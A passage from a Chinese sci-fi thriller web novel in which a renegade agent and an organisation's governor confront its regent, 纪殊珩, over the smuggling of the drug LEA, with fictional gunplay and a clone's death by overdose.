“为什么统一选择了沉默?”姚渊不知道在问谁,似乎在问我,又似乎在问求他开枪的受害者,“为什么没有例外?”
“因为分量足够让每个有良心的人选择逃避。”我插进话题,给无处发泄的姚渊添上最后一把火,“珍惜无知,姚总督。”
我故意拖长了最后三个字的声调,顺利和枪响融为一体。
好吧,我要为Tong的那颗子弹承担一半责任,把姚渊惹火其实是我的意料之外,但这倒霉蛋无论如何都活不下去。
明知任务对象是执行官,任务要求需要交出手环,这些条件明显是和管理局要求违背,最后也是最奇怪的,超界却毫无自知?
遇到我,就是死刑通知书。我可能放他一马,但管理局绝不会。
组织给他许诺了什么?什么才能打动一位执行官?
“这是你想要的吗?”姚渊转头盯着我,语气里有我听不懂的疲惫,“我能排在别的蚂蚱前面了吗?”
站起身,走到他面前,伸手拍了拍他的肩膀,我意味深长地安抚姚渊:“做得好,蚂蚱一号。”
我和他心照不宣地结束了观念争吵。
姚渊作为组织总督,精神领袖,亲手处决了管理局内鬼指派的叛徒执行官,他彻底成为了组织必须要除掉的叛徒,而我是和任务通缉犯合作的逃兵。
我不再思考组织到底知道什么,能让执行官选去做这样奇怪的任务。
姚渊和我对视了一眼。他收好自己的枪,站在Tong的尸体前面,摸着下巴思考如何解决问题。
我拉走姚瑎,挡住她看向尸体的视线。
“你想吃什么?”我揽着姚瑎的肩膀,一边走一边问她,“可以在我车里吃点面包垫垫,那是我最喜欢的牌子。”
“姐姐,”她叫了我一声,语气里的低落远大于恐慌,“不用担心我,这是我自己选择的。”
我不知道该说点什么,紧了紧摁在她肩膀上的手。
自己的选择?我真想看看这一对姓姚的脑子里装的都是什么。不论如何,姚瑎是妹妹,是年纪更小的,我和姚渊就有责任照顾。
更何况,很多人这辈子都不会看见亲眼非正常死亡的尸体。
再次开着我的车离开今天的一片狼藉,我失去心情地咬着早饭:“给个组织坐标?杀进去还是走进去?”
姚渊卷起袖口,从善如流地输入坐标,摆着我熟悉的语气对我说:“当然是走进去。吴队,我们不是疯子。”
“难说。”我瞥了他一眼,“你花了组织经费几百万。还杀了人家的昂贵打手,他们会让你竖着走进去?”
姚渊笑了一声:“我的地位比你想象得高。十年前的初始核心成员,如今的精神领袖,他们一定有非我不可的理由。”
我冷哼一声,懒得再和他纠缠太多,开了自动巡航,摸出化妆品套装,对着主驾驶的镜子开始习惯性地伪装。
“瞳色也是伪装的一部分?”姚渊看着我熟练地描眉和画眼线,“我从来没看见你摘掉过。”
我难得有个好心情地用了根枫叶红的口红,权当是为了配得上我“一千四百万”的身价。
“这是我的特权之一。”我抿唇,对着镜子里的自己隔空轻吻一个,“你可以嫉妒。”
“我确实应该嫉妒。”他整个人又懒散起来,语气难得没有用出那副“自恋”的腔调,“绿眼睛更迷人,我是想换换的,可惜管理局不允许。”
这是在揶揄我本身的眼睛呢。
我确实更喜欢本来的瞳色,但对我的生活来说太有特征,也总会让我忍不住想家,不如干脆让管理局改了瞳色再把权限认证放给我。
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好整以暇地收好工具,扫一眼放松的姚渊,我用阴恻恻地语气满足他的要求:“放心,姚总督,我会用‘迷人的绿眼睛’再杀你一次的。”
他对我的车失去了所有探索兴趣,把自己的枪退下弹夹补充,语气里仿佛真有多感谢似的回答我:“辛苦您重播我的死亡回放了,吴队。”
真想把他的嘴堵上。我恶狠狠地想着,给自己的枪补弹,恨不得把枪管子捅进姚渊嘴里。
后座的姚瑎啃完了我递过去的面包,听到她哥哥的回答,忍不住插嘴一句:“哥哥,我会伤心的。”
“伤心姐姐是凶手?”姚渊不避讳这种话题,甚至没有一丝掩饰的意思,“还是觉得我死了很可惜?”
我本想让姚渊注意语言,但我作为外人又没有资格参与教育问题,只好保持沉默。
“哥,我说过,你活着我们之间才有关系可言。”姚瑎的语气隐含着些许恼火,“死亡是底牌,不是你用来调情的工具。”
“你都知道是调情了。”姚渊被怼得语气软了不少,收好枪,伸手摸了一把姚瑎的头,“玩笑话而已,不用特别当真。”
跟木头调情也真是根本不挑了。我摸着下巴,反思起自己的伪装会不会反而引人注目了。难道我的脸还不够拒人千里之外吗?
姚瑎没再和她瞎了眼的哥纠缠,倒回后座单方面孤立车前排。
“死亡是底牌?”我实在是忍不住吐槽这一句,“你们的家庭生死观教育很有特色。”
姚渊耸肩,没和我讨论家庭教育,也许是怕暴露出关于姚瑎的更多情报,理都不理我地转移了话题:“所以,你的眼睛这就是你在整个城市畅通无阻的原因。”
“也就这点用处了。”我靠在椅背上冲他一笑,“更多功能都在手环上,管理局找不到我,警告不到我,没办法第一时间管到我,我回去还不用写检讨,这是你为数不多做的好事。”
姚渊盯着我看,似乎在思考我身上唯一和管理局有关的智能设备,到底是不是仅限于此。
我在他的视线里翻了个标准的白眼,指向自己的眼睛:“蚂蚱一号,这玩意在你组织里就是普通的美瞳。”
他眯着眼睛盯着我看,不知道把背后的计划做到了二十六个字母里的哪一个,最后又要选择哪一个计划逼着我执行。
“我要证明。”姚渊选择最直截了当的方案,但似乎并不担心实质后果,“我信任你,但我不信任管理局。”
我讨厌心眼子又多又小的人。
不满地“啧”一声,我和他对视,把我的所有微反应暴露在他的视野里:“听好了,在和组织有关的案件上,我,就是管理局。”
姚渊挑眉,没有评价。
我举起绑着绷带并且空荡荡的左手晃了晃,让姚渊认清自己到底做了什么:“手环是管理局监控我的唯一方式。”
我放下手,嗤笑一声:“而且,你敢说你炸的价值小几百万的车,没有向管理局证明‘组织内部分裂’的事实吗?”
姚渊明知故问,还要我配合演出?之前我是不得不跟着他的步调走,但我可不是什么逆来顺受的主。
“满意了?”我重新找到在主驾驶的舒适位置,“要是因为早上的事,那你也太斤斤计较了。”
姚渊没有否认我的说法,心情很好似的调出手环信息展示给我看:“诚意是互相的。”
我扫了一眼他展示的信息,不出我所料,终于是不得不面对最差的事实。
吴潍在尝试联系组织,姚渊底下的人在请示他们的总督怎么看。
“你想我回答什么?”姚渊一副让我做主的模样,“同意还是拒绝?我不介意演你的裙下臣。”
我罕见地对这种解决问题的方式无语了,握紧了拳头终于忍无可忍地挥拳向始作俑者。
姚渊一把拦截我的手腕,早有预料似的,用某种探究的眼神看向我:“反应真大。”
僵持着动作,我的左手下意识地想要去摸枪,最后只是猛地抽回手臂,不再给姚渊施舍眼神:“同意,然后所有关于吴潍场合,你只需要闭上你的嘴,一切听我的。”
姚渊当着我的面发了“同意”消息,不置可否,像是根本没在听我到底做了什么计划一样。
“遇到她的事情,你就几乎失控了。”他又开始慢悠悠地分析我,好像我是什么珍贵的心理样本一样,“我那么激怒你,你都只是嘴上说说,没动过——”
“别对我指手画脚。”我打断了姚渊越界的分析,“跟你有什么关系?你想跟我套近乎?你又是从哪兼职的心理医生?”
姚渊没有回答我的任何一个问句,最后意味不明地轻笑一声:“我看不出来她能不能救你。”
我冷笑回去:“但你只会拉着我下地狱。”
“感情大师”姚总督举手投降,在这段对话里彻底认输。
22. 微薄信任的合作
到了坐标地点下车,我最后再次确认装备,关上车门。
看着姚瑎步伐轻快地往前带路,我下意识地检查周围环境,没注意到姚渊亦步亦趋地跟在我身后。
“你,对复制体怎么看?”姚渊忽然问我,声音不大,听起来比前面的所有语气都要真诚得多,“个人好奇,你不想回答也可以。”
真难得,姚渊还有不咄咄逼人的时候?
我往旁边拉开一步,空出距离,本想继续嘲讽还击,但最后还是认真思考了才回答他:“平行世界在此刻融合的意外。”
“有意思。”姚渊恢复了慵懒的语气,高高在上地评价我,“吴潍也是意外?”
我沉默了一瞬,挣扎着情绪和事实,在姚渊面前说谎和隐瞒都会被看穿,最后终于权衡出结果:“不算是,毕竟我和她同时存在。”
“她是你的代价。”姚渊敏锐地指出这一点,“这是你过度反应的根源。”
我停住脚步,没对他说出的事实有什么反应,转而去研究起他怎么有闲心找我聊这个。
姚渊走出两步,发觉我落后了,转头去看我,不知道从我脸上看出了什么表情,他反正看起来有些不知所措的紧张。
“不用想太多。”姚渊明显地服软,冲我招手,“我没必要对吴潍做什么。”
我狐疑地盯着他看,重新跟上:“那你呢?你觉得自己算什么?”
“姚渊本人,还能是什么?”他笑着,不假思索地诚心回答我,“我要是天天纠结存在主义危机,那我当什么总督?”
“谁知道,万一‘徇私枉法’呢。”我绕绕手指,试图把“双引号”实体化,“六百万的车都能记在组织账上,其他更难说。”
姚渊懒得跟我争执,一把揽过我的肩膀,不由分说把我推到门口。
透明的玻璃门自动打开,一道红光从我身上扫过,顺带着扫过姚渊,最后安静结束在身后。
下意识地揽了揽风衣,我环顾前台大厅。
装修氛围还是十年前的风格,用来装饰的绿植在地板上倒映出同色的影子。看起来不像是临时打理的空间,像是什么企业的分公司。
姚瑎和前台的人交涉,站在闸机旁边冲我和姚渊招了招手。
我不耐烦地扒拉掉肩膀上的手,后撤半步跟在姚渊后面。
整个大厅除了前台的两位人类,没有别的活人了。摄像头几乎无死角地覆盖了目力所及的全部范围,标准的大型企业做派。
有点意外,又有点意料之中。
我跟着姓姚的两位踏进电梯,琢磨着。
如果组织还是十年前的互助会性质,管理局早有八百个计划解决,所以组织包装成合法企业,是很好的手段。
想到这里,我忍不住又抬眼瞥了眼姚渊,根本想不出这人坐办公室的样子。
炸车,炸房子,炸手环,就在两小时前还枪杀了一位复制体,啧,疯子。
我看着电梯往负楼去跳,心里隐约有点不妙的直觉:“这是要去见谁?”
姚瑎偷偷靠近我,示意我略微俯身,她靠在我的耳边低语:“摄政点名要哥哥亲自述职呢,估计要被骂得很惨啦。”
“被骂?”我小声重复了这个词,顺着姚瑎的话揶揄,“自恋到那种地步,他只会当耳边风吧?”
姚瑎眯着眼睛,忍不住“嘿嘿”地轻笑,正准备回复我的猜想。
站在前方的姚渊轻咳一声,无可奈何似的提醒:“姚瑎,我听得见。”
“我故意的。”姚瑎赌气似的回答,“摄政给我安排了别的任务,我抓紧时间跟姐姐多说两句怎么了?”
别的任务?我迅速思考一瞬,结合姚渊给出“同意见见吴潍”的信息,八成是让姚瑎去接待了。
姚渊转身,把姚瑎一把拽进怀里,没好气地捏她脸颊,压低声音:“事情要是办坏了,我俩就只能是流民了,小瑎你上点心。”
“我又不在乎。”姚瑎被姚渊控制着,发音有些变形,挣扎着想要挣脱哥哥的控制,“你炸了我的毛绒收集我都没意见,说你两句坏话人之常情。”
姚渊深深地叹气一声,把只到胸口的女总督松开,让她在停下的电梯门口出去。我看见姚瑎故意跳过了姚渊,冲我恋恋不舍似的挥手告别。
我愣了一下,生硬地挥手回应。
电梯继续往深处下坠,只剩下两个人的沉默充斥着异常的暗流涌动。
“关系很好?”我收回手,不咸不淡地评价着,“值得吗?”
姚渊后撤半步,跟我并排:“轮不到你来评价。”
“那就不要评价我的。”我对他过界的心理分析耿耿于怀,“这是‘吴潍’的私事。”
“抱歉。”姚渊沉默了几秒,在即将到达的电梯播报音里向我郑重道歉,“习惯很难改,真的没有别的意思。”
电梯门再次打开,我在姚渊身后坏心思地提醒他:“你和你妹妹欠我三个小面包,那个牌子经常脱销。”
姚渊明显地笑了两声。
缓和关系的小插曲,我不想在战斗里还要防备姚渊的暗箭。
实话来说,正面单挑可能我稍胜一筹,但如果变成需要分心处理的威胁,那会很耗费精力。
我伸手摸摸墙壁,顺带用关节敲了一下,光滑金属表面,并且有相当程度的厚度。低头观察到姚渊的手环有一小段展现红色,那是信号丢失的警告。
看来是精心设计的信号屏蔽空间;结合封闭式的空间,开枪跳弹风险大大增加,没有把握理应尽量避免开枪。
摄政?我回忆着对第一次案件的信息,但一无所获,第一次案件可没有这么多故弄玄虚的头衔。
姚渊用手环刷开了一扇看起来就很厚重的金属门,等着我进去才离开门口的认证。
一眼就能锁定到处于空间中央的女人。
我习惯性地往边缘位置挪了挪。她干练而危险的气息,让我心里的不安更加浓重了一些。
姚渊迈着长腿,拉开女人对面的椅子,朋友请客似的坐下,把身前的文件拿起来挨个翻了一遍。
“姚渊,”她暂时无视了我,靠在椅背上,架手在腿上,“我对你的容忍是有限度的。”
我抱胸站在一边,看戏似的观察大概率是“摄政”的女人。
她的耳畔有一朵红色的宝石耳坠,在光下晃出灼目的火彩,配合她不怒自威的气势,让我梦回学生时代,因为偷懒被教官单独提进办公室挨骂那会。
姚渊似乎看完了指控他的文件,“啪”地一声合上,漫不经心地回答:“纪摄政,五年前你让我回来,就该想到这么一天。”
摄政那双近乎是绛红色的眼睛盯着姚渊,嘴角平平,看不出更细节的情绪:“炸了六百三十万的车,指望组织替你承担吗?”
“为什么不能?”姚渊伸出一根手指,制止对方高高在上的评价,“花点前几年攒下来的经费而已,只能说明我一分没贪。”
怎么说,感觉摄政其实挺宠姚渊的?我比着下巴研究。也可能是作为LEA实验体的优待?
“十年前的案件细节已经全部告诉你了,”摄政头疼地摁了摁太阳穴,“原件你也看过,管理局也黑进去过,你还有什么不满意的?”
“没,我很满意。”姚渊承认,但一转攻势,“但你们从来没有提过‘吴潍’这个名字,为什么?”
摄政的视线猛地转向我,我下意识地把手放在了后腰,意识到对方没有袭击我的意图,没有正式拔出枪,不上不下地卡在那里。
“她不是吴潍。”摄政打量我的视线收了回去,“你又不是没找过她。”
摄政到底是什么人?我没有从记忆里找到任何相关的可能。叶琦给我的核心组织成员名单没有这样的人,我也没有漏掉任何一个出现在名单上的人。
我需要仔细思考。
能够知道十年前组织的所有细节,又能够重新建造起异常信仰组织,有这样能力的,不可能是边缘角色,必须是需要倾尽人力保护的人。
我抓住了灵关一现。
“怪物”的存在是我独自调查发现的,叶琦不一定知道;而且名单聚焦于“首领嫌疑”,大概率会漏掉那时候我和队员都并不重视的重要人物:逆推“怪物”体内人造化合物的技术员。
这算什么,百密一疏吗?我忍不住做了个咂舌的动作,把自己的存在感降到最低。
姚渊无辜又挑衅似的挑眉:“纪摄政,我找的不是‘吴潍’,是知情者。”
摄政站起身,看起来比我要高半个头,迈着稳定的步伐转到靠近我的桌边,冲我勾勾手指,语气里充满着高贵的嘲讽:“那好,让我看看你花六百三十万找到的‘知情者’到底知情什么。”
强迫自己把手从枪把上挪下来,我不情不愿地靠近我的任务目标,凑近了才闻到她身上有一股很微妙的气息。
有点像草本植物。让我想到了母亲种在后院的竹子。一整年都会郁郁葱葱地在我的卧室窗前摇晃的,那片本独属于我的竹林。
虽然摄政的气质看起来不可近身,但她的视线落在我的身上有几分明显的欣赏。
在上层估计很难见到被车追了一下午,伤了三个人,还能在执行官手底下还能活下来的人。我捞出我堪比姚渊的精彩履历,忽然觉得我和他简直就是一路货色,但我自认还是要比他技艺高超点。
“名字?”摄政问话听起来跟姚渊一个风格,语气平稳,“管理局的人?”
我斟酌一下词句,伸出空荡荡的左手腕晃了晃:“Wined·Caster。托你们家总督的福,我现在是管理局的‘叛徒’。”
姚渊非常优雅地点头,正式认领我的“夸
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奖”。
“纪殊珩。”她意味不明地勾嘴角,“如你所见,我是人类异常信仰组织的摄政。”
“久仰大名。你派来的盗窃人员极其需要系统培训,我还没做什么就全招了。”我故意激她,试图从她的脸上看出点除了游刃有余以外的情绪,“而且,纪摄政,您似乎相当程度上看不起姚总督的眼光。”
“男人嘛。”纪殊珩一点没吃我的挑衅,语气里有几分轻佻,似乎一语双关,“所以,你是当年吴潍领队里的哪一位?”
和林执如出一辙的脑回路,该说不说,她和林执一定很有共同语言。
我语气平淡:“十年前的陈词滥调跟我关系不大,是或者不是都不妨碍我的决定。”
纪殊珩托着下巴,不知道想到了什么:“姚渊,你惹了什么事?”
被点名的姚总督无奈地换了个姿势:“您才是主心骨,我只是个用来安抚‘孩子们’的‘泰迪熊’。”
肯定是不爱橙子果酱面包的那一版“泰迪熊”。我暗自吐槽着。当然,优雅得多,真有意思的自知之明。
摄政盯着我歪头,漂亮的鬓角落空,露出可怜又可叹的表情,竖起手指冲姚渊打了个手势。
“泰迪熊”先生站起身,慢条斯理地掏枪,把枪口对准我。
被做局了?
我的视线扫过漆黑的枪口,在心里棒读着,毫不手软地掏枪指向纪殊珩作为回答:“纪摄政,你想用我的手下败将威胁我?”
“当然不是。”纪殊珩的动作没有变化,勾起嘴角,“‘怪物’小姐,回来的高个子可是对你念念不忘呢。”
“希望你们出得起修复舱的资金。”我冲她一笑,“对,我就是你们曾经带回来的‘怪物’——同类。”
她的眼里忽然有几分莫名的兴奋:“它们也有同类?”
“精神上的,尽管我跟他们没什么共同话题。”我盯着她几乎称得上是“猩红”的眼睛,“说起来,在辐射区牺牲的半个队伍,光六百三十万可没法赔偿你们家的姚总督。你有分给他股权吗?”
姚渊压低了眉头,眼里似乎是“我就知道你没那么简单”的情绪,枪口略微偏移了些许。
纪殊珩盯着我,脸上无所顾虑的欣喜忽然收敛了不少:“你是吴潍。”
“我该说什么?”我笑了起来,走近半步把枪抵在她漂亮的脖子上,“‘好久不见’,还是‘初次见面’,纪殊珩技术员?”
纪殊珩从放松变为了警惕,没有我意料中的紧张情绪,依然游刃有余一般:“久违,吴队。这次你想要什么?”
“我只要名字,LEA订货人。”我才懒得管那些莫须有的道德攻击,“至于这个组织去向如何,看我心情。”
我隐约有些奇怪的感觉。纪殊珩作为摄政未免太没有戒心,但我目前没有要杀她的意思,订货人的线索还需要通过她往下摸。
她轻轻挑开了我的枪口,重新勾起嘴角:“当年你把组织的据点翻了个底朝天,还是选择站在管理局了?”
“我至少没有背叛过我的立场。”我压回枪口,微微上挑,进一步顶在她的下巴上,“十年前的姚渊要是见到现在的你,估计会很伤心的。”
“你选择了封口真相,而我选择了放弃。”纪殊珩摸上我的持枪手,握着我的手腕往自己身边拉拢几分,“所以,我不会对管理局的决策有任何异议。”
想误导我?让我觉得LEA是管理局默许的私人非法研究?那我就不会回来接手这份叶琦毫无进展的案件了,或者说,管理局要的,就应该是毫无进展。
但我站在这里,就说明LEA走私链绝不是管理局想要的。
“那你要失望了。”我冷笑一声,“我的顶头上司可比你的金主靠山有地位得多。”
“但是鞭长莫及啊,”纪殊珩压着枪口低头和我对视,深红色的眼睛盯着我,“亲爱的。”
空间最里侧的墙壁出现了一张立体投影,全息人型似乎和眼前的纪殊珩如出一辙。
技术员通病,又要开始用实验结果说服我了吗?我倒要看看她能用什么理由尝试说服我。
“吴队,你眼前所见的‘纪殊珩’,是LEA的最新实验品。”虚拟的纪殊珩立在三人僵持之外,称得上是亭亭玉立地站在原地,声音有几分不真实,“记忆可以被灌输,也就是说,被顶替的亲人可以回归。”
我不耐烦地收回枪口,重新装回腰间,后撤几步,和无论哪个纪殊珩都拉开距离:“这个世界的存在主义哲学是被当做柴火烧了吗?”
姚渊似乎也没有预料到这个场景,放下指着我的枪,盯着实体“纪殊珩”打量,微蹙的眉头展现了他内心对自己认知的怀疑。
“人类得先活着,才能讨论哲学。”投影的纪殊珩轻笑了起来,“吴队,LEA未来可期,为什么不合作呢?”
23. 微薄信任的合作
说真的,我有点心动了。我暗自腹诽着,但我还没有疯到对别人脑袋灌精神药剂的地步。
就算是想通过我来说服管理局,那我的上司们也不会喜欢这种方式,不然,就不会把我逼成现在这个样子。
“不用想办法策反我,管理局给的福利还是相当好的。”我停顿了一下,“要不然我们还是回到正题,LEA的订货人是谁?”
“我们没见过订货人。”纪殊珩双手合十,搭在自己的唇上,不知道思考了什么,“假如你和吴潍聊过,那你应该知道,订货人、我们和顾客,中间只通过传话人联系。”
啊,在这等我呢。看起来是责任要全部推给传话人了?好惨的替罪羊,但我绝不会让你蒙受“诋毁”。
“他们只在指定地点交货,从来没见过活人。”纪殊珩说,“说真的,我们自己想查都查不到,要么堪比管理局的团体,要么甚至就是管理局高层。”
但我现在要去联系管理局,有很大概率会被拦截,这个高层怎么个“高”法,我很难确认。
而且我已经暴露了能抗衡他们派出来的执行官,就意味着我上司通过无人机送的手环,也可能被他们做手脚。
啧,真是处处都是漏洞。
我思索着,真不知道我用执行官换姚渊的价值到底能不能够本。
顶头上司比订货人权限高那事情倒还好说,万一是平级,甚至是把我调回来、就是我为了验证对组织掌控程度的更高层——不对,这根本说不通,无论对谁而言,跟自杀有什么区别。
我无意识地走神思考。
身边沉寂下去的实体纪殊珩从大腿上摸出一管针剂,狠狠扎在了自己的脖子上,近乎是两三个瞬息,她就彻底倒在了地上。
我下意识地去扶起她,但只是被连带着跪在了地上。检查了针剂,是LEA制式,分量显然比我之前见过的LEA都要多出许多。
抬头和姚渊对视,我不知道我应该摆出什么表情。他的脸上隐约有一种难以言喻的恼火、但无能为力的情绪,尽管表面上还是一张似笑非笑的欠揍表情。
吴潍跟我说过,过量的LEA注射,会导致类似情绪反应过度的死亡。
纪殊珩的语气很暧昧,全无之前的试探和部分诚实,更像是在居高临下地威胁:“姚渊,我让你回来,不是为了让你再一次去送死的。”
姚渊在桌子下握紧了手里的枪,压着情绪似的沉默。
哈,姚渊还有这样愤怒到哑口无言的时候。
“不要偷换概念。”我站起身,和虚拟的纪殊珩对视,“纪殊珩,按照管理局的风格,姚渊本不需要考虑‘送死’这个概念。”
投影的纪殊珩轻叹一口气,不知在何处的本体坐在了椅子上,连带着投影也多了把椅子:“我也从未提及你的存在。姚渊重新回到组织的五年,早就放下了对所谓真相的渴求。”
说实话,如果不是纪殊珩的LEA被管理局盯上了,我也不会回来,更不会导致这帮拎不清事实的傻子飞蛾扑火。
想道德绑架我,可惜了,我要是有道德,在下层别说十年,十天都过不下去。
我冷笑一声:“纪殊珩,管理局封锁的真相不是你用来故弄玄虚、蛊惑人心的道具。”
“但姚渊还是什么都不知道。”她的话语里带了些讽刺,“我把我所知的真相全部告诉他了,你呢?‘大言不惭’的吴队。”
好耳熟,好像这个话题早上刚跟他本人吵过,但我跟他可不是因为真相而合作的。
“不劳您操心。”我回答她,“我也不是什么杀神转世,断了LEA,你们组织也只是断了大头收入,其他业务照样运行。”
我盯着纪殊珩,手指指向她:“所以,你选择把你当作弃子的订货人?”手指又转向我自己,“还是给你一条活路的管理局?”
“您凭什么能做主呢?”纪殊珩几乎要笑出声了,“你单枪匹马地出现,向我证明了你是十年前的‘吴潍’,还和管理局断联了,你还有什么底牌?”
跟我要底牌?我没有底牌。
“我的命就是底牌。”我轻飘飘地回答她的问题,“LEA走私链和你放弃的真相有没有关联全凭我一句话。单纯的商业侵权也只是罚款而已,如果LEA和你放弃的真相有一丝关联,纪摄政,你最好真的能证明你一无所知。”
纪殊珩保持沉默,就算是虚拟的人像,我也能看见她眼里恨不得把我脑子挖出来看看所有事实的怒火。
我喜欢。
“总之,管理局为了保你们的命,其实花费了不少精力。”我掌心相撞,送她一声短暂的掌声,“我的地位比你们想象得高太多了,也许可以称得上一句‘一人之下,万人之上’?”
“如果我死了,”我无辜地冲她一笑,“管理局会把整个城市倒过来找,活要见人死要见尸。并且,会从城市奠基人往下开始,挨个排查凶手。”
姚渊听得挑眉,表情比我想象中精彩一点。纪殊珩冷着脸沉默,听着我到底是在虚张声势,还是在用事实劝她。
“这是我的底牌,你敢赌吗?”我冲她眨眨眼,“赌管理局把我作为随时可以弃用的棋子,而不是大费周章隐藏我的实际身份,还大费周章地请我回来接手十年前的案件。”
被我震慑到的沉默。一般来说,这种时候就是我处理复制体的“斩杀线”。
看他们震惊、失望、沉默、惶恐,最后放弃挣扎。当然我没有这个恶趣味故意让他们痛苦,只是让他们感觉是为了家人不得不这么做。
虚假的英雄主义只要不去验证,和真实的没有区别。
“而且,你没发现姚总督炸完的一千四百三十万,管理局都没查吗?”我都快说累了,纪殊珩的心理防线也太高了,“就算无人伤亡,也是标准的‘恐怖袭击’。你们的公关再好,管理局也只是不会明面调查而已。”
纪殊珩依然保持着高贵的沉默。
我扶额,不耐烦地深深叹气:“您还有什么不满意的?我已经十年没一次性说过这么多话了,这已经是我哄小孩级别的耐心了。”
“你有了名字也毫无用处。”纪殊珩终于松口,给出了一个我意料之外的回答,“今年的订货人购买了LEA,远远没到送过来的时候;而传话人没见过任何一方。”
我早知道她会转移重点:“不,我要的是送来CEC的人名。”
这是LEA最开始的事情,那时候绝对没有传话人的存在,就算不是订货人亲自出场,也一定是直属的高度信任下属,总不会是陌生人。
不管是生命维护执行官,还是其他什么人类,我必然可以找到订货人本人。
纪殊珩的目光转到了姚渊身上。后者故意有多珍惜手里枪似的,收回到腰间,而后一言不发地无辜摊手。
说起来,姚瑎说她哥哥会被摄政骂得很惨,我到现在只看见了装无辜的姚总督。
“没有名字,只有一个代号。”纪殊珩的眼神恨不得杀了姚渊才能泄愤似的,最后才冷漠地回答我,“当时只跟我见了面,他自称‘司南’。”
司南?管理局内部不怎么时兴这样的代号,更多都是生物代称,几乎没有用物品做代号的。
八成姓北,没什么,女人的直觉。我迅速过一遍记得的管理局人员,可惜都不是核心管理层的人,唯一一个接近的只有林执。
至少是条线索,但是太虚了,我得要一条更实在的。
“还有呢?”我接着问,“坦白从宽,纪殊珩。”
“你还想要什么?”纪殊珩终于听起来有几分流于表面的恼火,“十年前的事情你比我清楚,LEA的重要线索只有这条——”
我打断了她潜在的絮絮叨叨:“叶琦加入组织后的所有档案和信息。”
“她跟你到底是什么关系?”纪殊珩起身走了两步,似乎在周围的架子上翻找,“这一对夫妻怎么阴魂不散的。”
这就是职业精神。我在心里回答她。作为教授的余殷和作为城市管理员的叶琦,这辈子都不会踏上没有好奇心和追求的路。
“我知道你肯定要看原件,等我安排好了,就给姚渊坐标。”纪殊珩在“姚渊”这两字上落了两分不明显的重音,“还有,姚渊,我欣赏你的破釜沉舟,但——
“背叛我是有代价的。”
姚渊漫不经心地回答她:“债多不愁。”
纪殊珩的全息投影消失了。
我长长地舒了一口气,感觉把未来一周的话都挤在一天说完了,也不给我倒杯水。
我身后跟着几个蚂蚱了?吴潍,姚渊,姚渊自带一只小蚂蚱姚瑎,还有一个不情不愿的纪殊珩。
一串五个蚂蚱。我作为“蚂蚱大王”重新蹲下身子,检查倒在地上的“假”蚂蚱“纪殊珩”。
思考了几秒钟,我捡起已经空白的注射器,发现是一次性的,只好悻悻地打消取一点LEA样本回去的想法。
不过,姚渊也肯定不会允许我这么做就是了。
“啊,‘一人之下,万人之上’?”姚渊学着我的语气,慢悠悠地重复我的狂言,“Caster小姐愿不愿意放我一马呢?”
我抹了把脸,有些无力又不自在地补充说明:“夸是夸张了点,但管理局确实会把整个城市倒过来找我。”
姚渊收好桌子上的文件,没有给我留面子,故意拆我台似的:“没看出来。你已经失联一天了,管理局一点动静都没有?”
“因为我提前说过了。”我没从“纪殊珩”尸体上再找到什么重要信息,倒也是预料之内,“管理局在未来八天内不会影响我任何行动。”
我站起身,一把抽过姚渊手里的文件:“所以,你的房
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子炸得很亏。”
他没阻止我,适时松手:“谨慎点对谁都好,蚂蚱大王。”
千年的狐狸在这里跟我玩聊斋呢。我懒得正眼看他,大致翻了下控诉姚总督不干正事、疑似叛变的报告文件。
“值得吗?”我忍不住又问了这个问题,“你几乎赌上了自己有的一切,姚瑎也在里面。”
姚渊难得像普通人一样地沉默着,头一次,我觉得他人如其名,像不可理喻也不必理喻的深渊一样。
最后他沉沉地叹气,避开了话题:“你十年前离开的时候,有想过这个问题吗?”
“啧,那不一样。”我把文件拍回给他,示意他自己处理去,“我背后好歹还有不靠谱但够硬的管理局,你可是什么都没有。”
他终于露出一点真心实意地笑:“现在有了。”
我抬头盯着他,想从他深灰色的眼睛里看出点别的情绪:“你——”
但他没让我说完,揽过我的肩膀,宛如对待朋友一样把我往外推:“你比你自己想得善良多了。”
“疯子。”我都不知道应该用什么语气评价他,“你还是先想想怎么把欠的小面包还清了。”
“她一个人还得起。”姚渊摁了电梯上行键,装作无所谓地回答我,“别看纪殊珩一副资本家的样子,她也有不得已。”
“你要是想借此讽刺管理局,那你又要——”
“失望了。”他拖长语调抓过我的话尾,“你自己骂管理局可比我们精彩得多。说真的,你真的不是城市奠基人的直属?”
“不知道。”我再次拉开姚渊搭在我肩上似乎不愿意下来的手肘,跨进电梯,“你也是真的有勇气,把我这种做脏活的角色和城市奠基人连起来,这算得上‘负面丑闻’了。”
被身体力行拒绝的姚总督没有任何多余的情绪,跨进电梯的时候扫了眼楼层显示,摸上了自己的手枪,检视一番,最后上膛,垂在身侧。
“你这也要把我拉下水?”我叫天天不应地认命,摸出自己的枪靠在电梯门厢的另一侧作为掩体,“我能不能跟你撇清关系,你们打着,我路过?”
“不能。”姚渊直接拒绝了我的请求,“作为蚂蚱队长,临阵脱逃可不是收拢人心的手段。”
我叹气,把每个楼层按键都摁了一遍,果然没有任何反应。
“手环。”我冲姚渊发话,离开最底下的楼层,他手环上的红色消失了,“我没时间陪你玩什么‘以我残躯化为烈火’。”
似乎这个很老的梗没让姚总督接到,但他还是乖乖摘下手环递给了我。
我趁机匆匆扫了一眼,各种乱七八糟的文件和琐事,要我,我也对纪殊珩没好气。
“消息真多。”我轻声吐槽一句。
调开手环的底层操作台,尽可能迅速输入我依稀记得的伪装代码和当前坐标,在署名上犹豫了几秒,还是填了“Wined·Caster”,定向发给了最近的几台无人机。
我顺手设了个十分钟的倒计时,最后把手环扔回给姚渊。
调不动人,我还调不动无人机吗?
我当年还在管理局兢兢业业当小警察的时候,这种伪装成报案、要求无人机到场的小技巧信手拈来。
毕竟无人机就只是烧钱而已,制裁力度和机动性未必比人力差。一台无人机换我手底下人的毫发无伤,在我眼里就是稳赚不赔的买卖。
结果还是免不了几千字检讨和挨骂就是了。反正责任我全扛了,手底下的人只管保命和不受伤就行。
唉,以前手底下带着忠心耿耿的一帮“蚂蚱”的时间真是一去不复回了。
“管理局的福利?”姚渊看着倒计时往下跳,“你做了什么?”
“管理局哪有福利,都是自己讨的。”我哼笑一声,“你在城外当指挥官的时候,没试过跟管理局要资源?”
姚渊看我的眼神像是在研究自己到底中了多大的奖,最后低头一笑:“这倒是。”
总之,我不相信纪殊珩能在十分钟内处理掉我。
姚渊像是职业病一样的问我:“你有什么战术吗?”
我装模做样地摸了下巴假装在思考,认真地回答他:“没有。单兵作战时间太长了,前城市执行官指挥官你看着办吧。”
姚渊的表情像是恨不得要把我叫出去跑五公里一样,最后只能“寄人篱下”:“管理局真宠你。”
